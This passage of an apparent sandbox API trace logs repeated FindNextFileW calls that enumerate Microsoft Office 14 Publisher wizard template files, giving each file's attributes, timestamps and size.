lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4694b00, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4694b00, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PS9CRNRH.POC", cAlternateFileName="")) returned 1 [0079.666] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ecf0800, ftCreationTime.dwHighDateTime=0x1c976c2, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ecf0800, ftLastWriteTime.dwHighDateTime=0x1c976c2, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="PULLQUOTEBB.DPV", cAlternateFileName="")) returned 1 [0079.666] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58023000, ftCreationTime.dwHighDateTime=0x1c97a3a, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58023000, ftLastWriteTime.dwHighDateTime=0x1c97a3a, nFileSizeHigh=0x0, nFileSizeLow=0x18c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PULLQUOTEBB.POC", cAlternateFileName="")) returned 1 [0079.666] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc59a7800, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x5a7913b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc59a7800, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="PULQOT98.POC", cAlternateFileName="")) returned 1 [0079.666] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f02f00, ftCreationTime.dwHighDateTime=0x1c8f148, ftLastAccessTime.dwLowDateTime=0x5a8037d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81f02f00, ftLastWriteTime.dwHighDateTime=0x1c8f148, nFileSizeHigh=0x0, nFileSizeLow=0x8d1db, dwReserved0=0x0, dwReserved1=0x0, cFileName="QP.DPV", cAlternateFileName="")) returned 1 [0079.666] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb754da00, ftCreationTime.dwHighDateTime=0x1c91700, ftLastAccessTime.dwLowDateTime=0x5a8037d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb754da00, ftLastWriteTime.dwHighDateTime=0x1c91700, nFileSizeHigh=0x0, nFileSizeLow=0x33e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="QP.XML", cAlternateFileName="")) returned 1 [0079.666] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb905900, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb905900, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x6f882, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUIKPUBS.POC", cAlternateFileName="")) returned 1 [0079.667] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf23e000, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf23e000, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x4d57e, dwReserved0=0x0, dwReserved1=0x0, cFileName="REPTWIZ.POC", cAlternateFileName="")) returned 1 [0079.667] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf23e000, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf23e000, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x5df4, dwReserved0=0x0, dwReserved1=0x0, cFileName="RES98.POC", cAlternateFileName="")) returned 1 [0079.667] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16aa6c00, ftCreationTime.dwHighDateTime=0x1c4a111, ftLastAccessTime.dwLowDateTime=0x6d1b5730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x16aa6c00, ftLastWriteTime.dwHighDateTime=0x1c4a111, nFileSizeHigh=0x0, nFileSizeLow=0x1effa, dwReserved0=0x0, dwReserved1=0x0, cFileName="RESP98.POC", cAlternateFileName="")) returned 1 [0079.667] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2274ed00, ftCreationTime.dwHighDateTime=0x1c5d926, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2274ed00, ftLastWriteTime.dwHighDateTime=0x1c5d926, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RESUME.DPV", cAlternateFileName="")) returned 1 [0079.667] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfad1500, ftCreationTime.dwHighDateTime=0x1c91700, ftLastAccessTime.dwLowDateTime=0x6d1b5730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbfad1500, ftLastWriteTime.dwHighDateTime=0x1c91700, nFileSizeHigh=0x0, nFileSizeLow=0x85a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RESUME.XML", cAlternateFileName="")) returned 1 [0079.667] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16aa6c00, ftCreationTime.dwHighDateTime=0x1c4a111, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x16aa6c00, ftLastWriteTime.dwHighDateTime=0x1c4a111, nFileSizeHigh=0x0, nFileSizeLow=0x2aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSPMECH.POC", cAlternateFileName="")) returned 1 [0079.667] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17db9900, ftCreationTime.dwHighDateTime=0x1c4a111, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17db9900, ftLastWriteTime.dwHighDateTime=0x1c4a111, nFileSizeHigh=0x0, nFileSizeLow=0x1075e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIDBAR98.POC", cAlternateFileName="")) returned 1 [0079.667] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73eb3100, ftCreationTime.dwHighDateTime=0x1c9c70f, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73eb3100, ftLastWriteTime.dwHighDateTime=0x1c9c70f, nFileSizeHigh=0x0, nFileSizeLow=0x4c4d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIDEBARBB.DPV", cAlternateFileName="")) returned 1 [0079.667] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e5ea000, ftCreationTime.dwHighDateTime=0x1c98d8b, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e5ea000, ftLastWriteTime.dwHighDateTime=0x1c98d8b, nFileSizeHigh=0x0, nFileSizeLow=0xb08a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIDEBARBB.POC", cAlternateFileName="")) returned 1 [0079.667] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x641f1d00, ftCreationTime.dwHighDateTime=0x1c9c70e, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x641f1d00, ftLastWriteTime.dwHighDateTime=0x1c9c70e, nFileSizeHigh=0x0, nFileSizeLow=0x49e01, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIDEBARVERTBB.DPV", cAlternateFileName="")) returned 1 [0079.667] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42f1b00, ftCreationTime.dwHighDateTime=0x1c98d8c, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe42f1b00, ftLastWriteTime.dwHighDateTime=0x1c98d8c, nFileSizeHigh=0x0, nFileSizeLow=0xa71a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIDEBARVERTBB.POC", cAlternateFileName="")) returned 1 [0079.667] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17ba5800, ftCreationTime.dwHighDateTime=0x1c5d926, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17ba5800, ftLastWriteTime.dwHighDateTime=0x1c5d926, nFileSizeHigh=0x0, nFileSizeLow=0x17e95, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGN.DPV", cAlternateFileName="")) returned 1 [0079.667] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa373d00, ftCreationTime.dwHighDateTime=0x1ca1adc, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa373d00, ftLastWriteTime.dwHighDateTime=0x1ca1adc, nFileSizeHigh=0x0, nFileSizeLow=0x2ab4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGN.XML", cAlternateFileName="")) returned 1 [0079.667] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17db9900, ftCreationTime.dwHighDateTime=0x1c4a111, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17db9900, ftLastWriteTime.dwHighDateTime=0x1c4a111, nFileSizeHigh=0x0, nFileSizeLow=0xbb82, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGN98.POC", cAlternateFileName="")) returned 1 [0079.667] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x190cc600, ftCreationTime.dwHighDateTime=0x1c4a111, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x190cc600, ftLastWriteTime.dwHighDateTime=0x1c4a111, nFileSizeHigh=0x0, nFileSizeLow=0x6d6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNHM.POC", cAlternateFileName="")) returned 1 [0079.667] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x190cc600, ftCreationTime.dwHighDateTime=0x1c4a111, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x190cc600, ftLastWriteTime.dwHighDateTime=0x1c4a111, nFileSizeHigh=0x0, nFileSizeLow=0x760e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SNIPE.POC", cAlternateFileName="")) returned 1 [0079.667] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf89f6100, ftCreationTime.dwHighDateTime=0x1ca1016, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf89f6100, ftLastWriteTime.dwHighDateTime=0x1ca1016, nFileSizeHigh=0x0, nFileSizeLow=0x5f93b, dwReserved0=0x0, dwReserved1=0x0, cFileName="STORYBB.DPV", cAlternateFileName="")) returned 1 [0079.667] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc012a00, ftCreationTime.dwHighDateTime=0x1ca1012, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdc012a00, ftLastWriteTime.dwHighDateTime=0x1ca1012, nFileSizeHigh=0x0, nFileSizeLow=0x7d36, dwReserved0=0x0, dwReserved1=0x0, cFileName="STORYBB.POC", cAlternateFileName="")) returned 1 [0079.667] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211e800, ftCreationTime.dwHighDateTime=0x1c9c70d, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x211e800, ftLastWriteTime.dwHighDateTime=0x1c9c70d, nFileSizeHigh=0x0, nFileSizeLow=0x4c9a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="STORYVERTBB.DPV", cAlternateFileName="")) returned 1 [0079.668] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc912da00, ftCreationTime.dwHighDateTime=0x1c98d91, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc912da00, ftLastWriteTime.dwHighDateTime=0x1c98d91, nFileSizeHigh=0x0, nFileSizeLow=0x6f7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="STORYVERTBB.POC", cAlternateFileName="")) returned 1 [0079.668] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x190cc600, ftCreationTime.dwHighDateTime=0x1c4a111, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x190cc600, ftLastWriteTime.dwHighDateTime=0x1c4a111, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRBRST.POC", cAlternateFileName="")) returned 1 [0079.668] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x190cc600, ftCreationTime.dwHighDateTime=0x1c4a111, ftLastAccessTime.dwLowDateTime=0x5acec530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x190cc600, ftLastWriteTime.dwHighDateTime=0x1c4a111, nFileSizeHigh=0x0, nFileSizeLow=0x3f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEAROFF.POC", cAlternateFileName="")) returned 1 [0079.668] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd17a00, ftCreationTime.dwHighDateTime=0x1c4a111, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1dd17a00, ftLastWriteTime.dwHighDateTime=0x1c4a111, nFileSizeHigh=0x0, nFileSizeLow=0x40a0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TOC98.POC", cAlternateFileName="")) returned 1 [0079.668] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2033d400, ftCreationTime.dwHighDateTime=0x1c4a111, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2033d400, ftLastWriteTime.dwHighDateTime=0x1c4a111, nFileSizeHigh=0x0, nFileSizeLow=0x1eab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WCOMP98.POC", cAlternateFileName="")) returned 1 [0079.668] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35a8fe00, ftCreationTime.dwHighDateTime=0x1c4a111, ftLastAccessTime.dwLowDateTime=0x708c13f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35a8fe00, ftLastWriteTime.dwHighDateTime=0x1c4a111, nFileSizeHigh=0x0, nFileSizeLow=0x166484, dwReserved0=0x0, dwReserved1=0x0, cFileName="WEB11.POC", cAlternateFileName="")) returned 1 [0079.668] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42c5ed00, ftCreationTime.dwHighDateTime=0x1c4a111, ftLastAccessTime.dwLowDateTime=0x708c13f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42c5ed00, ftLastWriteTime.dwHighDateTime=0x1c4a111, nFileSizeHigh=0x0, nFileSizeLow=0x79f1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WEBCALSO.POC", cAlternateFileName="")) returned 1 [0079.668] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42c5ed00, ftCreationTime.dwHighDateTime=0x1c4a111, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42c5ed00, ftLastWriteTime.dwHighDateTime=0x1c4a111, nFileSizeHigh=0x0, nFileSizeLow=0x31da, dwReserved0=0x0, dwReserved1=0x0, cFileName="WEBEMAIL.POC", cAlternateFileName="")) returned 1 [0079.668] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42c5ed00, ftCreationTime.dwHighDateTime=0x1c4a111, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42c5ed00, ftLastWriteTime.dwHighDateTime=0x1c4a111, nFileSizeHigh=0x0, nFileSizeLow=0x12a02, dwReserved0=0x0, dwReserved1=0x0, cFileName="WEBHED98.POC", cAlternateFileName="")) returned 1 [0079.668] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42c5ed00, ftCreationTime.dwHighDateTime=0x1c4a111, ftLastAccessTime.dwLowDateTime=0x708c13f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42c5ed00, ftLastWriteTime.dwHighDateTime=0x1c4a111, nFileSizeHigh=0x0, nFileSizeLow=0x31ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="WEBHOME.POC", cAlternateFileName="")) returned 1 [0079.668] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42c5ed00, ftCreationTime.dwHighDateTime=0x1c4a111, ftLastAccessTime.dwLowDateTime=0x708c13f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42c5ed00, ftLastWriteTime.dwHighDateTime=0x1c4a111, nFileSizeHigh=0x0, nFileSizeLow=0x34a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WEBLINK.POC", cAlternateFileName="")) returned 1 [0079.668] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec02d00, ftCreationTime.dwHighDateTime=0x1c5d926, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ec02d00, ftLastWriteTime.dwHighDateTime=0x1c5d926, nFileSizeHigh=0x0, nFileSizeLow=0xfeb9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WEBPAGE.DPV", cAlternateFileName="")) returned 1 [0079.668] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd7a7a00, ftCreationTime.dwHighDateTime=0x1c91700, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd7a7a00, ftLastWriteTime.dwHighDateTime=0x1c91700, nFileSizeHigh=0x0, nFileSizeLow=0x3d6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WEBPAGE.XML", cAlternateFileName="")) returned 1 [0079.668] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2274ed00, ftCreationTime.dwHighDateTime=0x1c5d926, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2274ed00, ftLastWriteTime.dwHighDateTime=0x1c5d926, nFileSizeHigh=0x0, nFileSizeLow=0xba14, dwReserved0=0x0, dwReserved1=0x0, cFileName="WITHCOMP.DPV", cAlternateFileName="")) returned 1 [0079.668] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5d2b500, ftCreationTime.dwHighDateTime=0x1c91700, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5d2b500, ftLastWriteTime.dwHighDateTime=0x1c91700, nFileSizeHigh=0x0, nFileSizeLow=0x1716, dwReserved0=0x0, dwReserved1=0x0, cFileName="WITHCOMP.XML", cAlternateFileName="")) returned 1 [0079.668] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b4ddf00, ftCreationTime.dwHighDateTime=0x1c5d926, ftLastAccessTime.dwLowDateTime=0x70959970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b4ddf00, ftLastWriteTime.dwHighDateTime=0x1c5d926, nFileSizeHigh=0x0, nFileSizeLow=0x79e6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WORDREP.DPV", cAlternateFileName="")) returned 1 [0079.668] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef5c1d00, ftCreationTime.dwHighDateTime=0x1c91700, ftLastAccessTime.dwLowDateTime=0x5e60d530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xef5c1d00, ftLastWriteTime.dwHighDateTime=0x1c91700, nFileSizeHigh=0x0, nFileSizeLow=0x1854, dwReserved0=0x0, dwReserved1=0x0, cFileName="WORDREP.XML", cAlternateFileName="")) returned 1 [0079.668] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43f71a00, ftCreationTime.dwHighDateTime=0x1c4a111, ftLastAccessTime.dwLowDateTime=0x5e60d530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x43f71a00, ftLastWriteTime.dwHighDateTime=0x1c4a111, nFileSizeHigh=0x0, nFileSizeLow=0x2dd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPULQT98.POC", cAlternateFileName="")) returned 1 [0079.669] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43f71a00, ftCreationTime.dwHighDateTime=0x1c4a111, ftLastAccessTime.dwLowDateTime=0x5e633690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x43f71a00, ftLastWriteTime.dwHighDateTime=0x1c4a111, nFileSizeHigh=0x0, nFileSizeLow=0x31d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSIDBR98.POC", cAlternateFileName="")) returned 1 [0079.669] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43f71a00, ftCreationTime.dwHighDateTime=0x1c4a111, ftLastAccessTime.dwLowDateTime=0x5e633690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x43f71a00, ftLastWriteTime.dwHighDateTime=0x1c4a111, nFileSizeHigh=0x0, nFileSizeLow=0x31d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSIDBR98.POC", cAlternateFileName="")) returned 0 [0079.669] GetLastError () returned 0x12 [0079.669] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0079.669] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0079.669] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70959970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70959970, 